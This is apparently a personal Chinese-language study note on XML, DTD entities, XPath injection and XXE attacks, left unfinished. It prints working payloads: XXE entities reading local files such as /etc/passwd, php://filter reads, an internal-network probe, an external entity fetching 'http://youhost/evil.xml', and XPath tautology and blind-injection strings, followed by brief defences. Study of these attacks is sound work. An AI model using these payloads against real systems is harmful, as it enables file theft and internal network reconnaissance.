xxe的一些了解

-

XML语言特点:

传输数据非显示数据
没有预定义标签

XML格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" ?>    //XML声明

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,bogy)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
//文档定义类型(DTD)
<note>
<to>xx</to>
<from>xxx</from>
<heading>x</heading>
<body>xx</body>
</note>
//文档元素

DTD:

XML的格式规范(文档定义类型)
包括 XML声明,DTD文档类型定义,文档元素

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!-- ⬆XML声明⬆ -->
<!DOCTYPE 文件名 [
<!ENTITY实体名 "实体内容">
]>
<!-- ⬆文档类型定义(DTD)⬆ -->
<元素名称 category="属性">
文本或其他元素
</元素名称>
<!-- ⬆文档元素⬆ -->

xml声明

  1. 内部声明
    1
    <!DOCTYPE 根元素 [元素声明]>
  2. 外部引用
    1
    2
    3
    <!DOCTYPE 根元素 SYSTEM "文件名">或
    // system 标识符表示 该实体将从外部来源获取内容
    <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

DTD

  1. 内部实体

    1
    2
    3
    <!ENTITY 实体名称 "实体的值">
    例子
    <!ENTITY writer "me">
  2. 外部实体

    1
    2
    3
    <!ENTITY 实体名称 SYSTEM "URI/URL">
    或者
    <!ENTITY 实体名称 PUBLIC "public_ID" "URI">

    ENTITY可以使用SYSTEM关键字调用外部资源,需要借助协议,如

    1
    2
    3
    4
    file:///path/to/file.ext
    http://url/file.ext
    php://filter/read=convert.base64-encode/resource=conf.php
    php://filter/resource=c:/windows/win.ini
  3. 参数实体
    仅能在DTD内部被引用,解析优先级高于xml内部实体

    1
    2
    3
    <!ENTITY % 实体名称 "实体的值">
    或者
    <!ENTITY % 实体名称 SYSTEM "URI">
  4. 实体调用

    1
    2
    <author>&writer;</author>
    注: 一个实体由三部分构成: (&), 实体名称, (;)

    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE n [
    <!ENTITY a SYSTEM "file:///flag">
    ]>
    <user><username>&a;</username><password>123456</password></user>

CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 ““ 结束

函数simplexml_load_string()可以读取XML
使用函数: simplexml_load_file() 把xml文档载入对象中

XML注入

就是闭合标签
防御:过滤输入或进行转义

XPath 注入

XPath 是 xml 路径语言,用于配置文件查找
利用 XPath扫描 和 XPath查询布尔化
攻击者可以控制用来进行XPath查询的XML数据库

注入对象:存储数据的XML文件

基本语法:https://www.cnblogs.com/wendyw/p/11633588.html

原理代码

1
2
正常查询:/root/users/user[username/text()='test1'and password/text()='test1']
在username中输入:' or 1=1 or ''='

XPath 盲注

  1. 盲注根节点
    判断数目:
    ?name=’ or count(/) = 1 or ‘1’ = ‘2
    猜解:
    ?name=’ or substring(name(/
    [position() = 1]),1,1)=’r’ or ‘1’=’2
  2. 依次下一节点
    ?name=’ or count(/root/*) = 1 or ‘1’ = ‘2
    (类似于sql盲注,比sql注入更危险 范围更大 防护更低

XML外部实体注入(XXE)

发生于应用程序解析XML输入时,没有禁止外部实体加载
(由于解析xml在php库libxml libxml>=2.9.0版本中没有xxe漏洞)
引起任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等

利用(上传恶意xml文件)

  1. 任意文件读取
    构造引入外部实体
    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY file SYSTEM "file:///d://qwzf.txt" >
    ]>
    <root>
    <name>&file;</name>
    </root>
    使&file;变成外部文件qwzf.txt中内容
1
2
3
4
5
6
7
8
9
file://host/path
* Linux
file:///etc/passwd
* Unix
file://localhost/etc/fstab
file:///localhost/etc/fstab
* Windows
file:///c:/windows/win.ini
file://localhost/c:/windows/win.ini
  1. 探测内网地址
    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
    <root>
    <name>&xxe;</name>
    </root>

无回显

将数据发送到远程服务器(攻击服务器),观察服务器日志
(我尚未实现)

基于错误的xee

使服务器对我们人为的故意错误进行一些纠正 如

1
2
<!DOCTYPE Author[ \ n
<!ENTITY %% intentate_error_here“test”>]> \ n

步骤

  1. 检测xml是否解析
    1
    2
    3
    4
    5
    <?xml version=”1.0” encoding=”UTF-8”?> 
    <!DOCTYPE ANY [
    <!ENTITY shit “this is shit”>
    ]>
    <root>&shit;</root>
  2. 检测是否支持外部实体
    1
    2
    3
    4
    5
    <?xml version=”1.0” encoding=”UTF-8”?> 
    <!DOCTYPE ANY [
    <!ENTITY % shit SYSTEM “http://youhost/evil.xml”>
    %shit;
    ]>

防御

使用开发语言提供的禁用外部实体的方法
过滤用户提交数据
不允许xml中含有自己定义的DTD

还有一些比较细化的东西 比如浏览器的版本
还有一些类如ceye的网站怎么用,不看了 过几天再来看

先占坑,未完待续

https://www.secpulse.com/archives/58915.html
https://www.cnblogs.com/backlion/p/9302528.html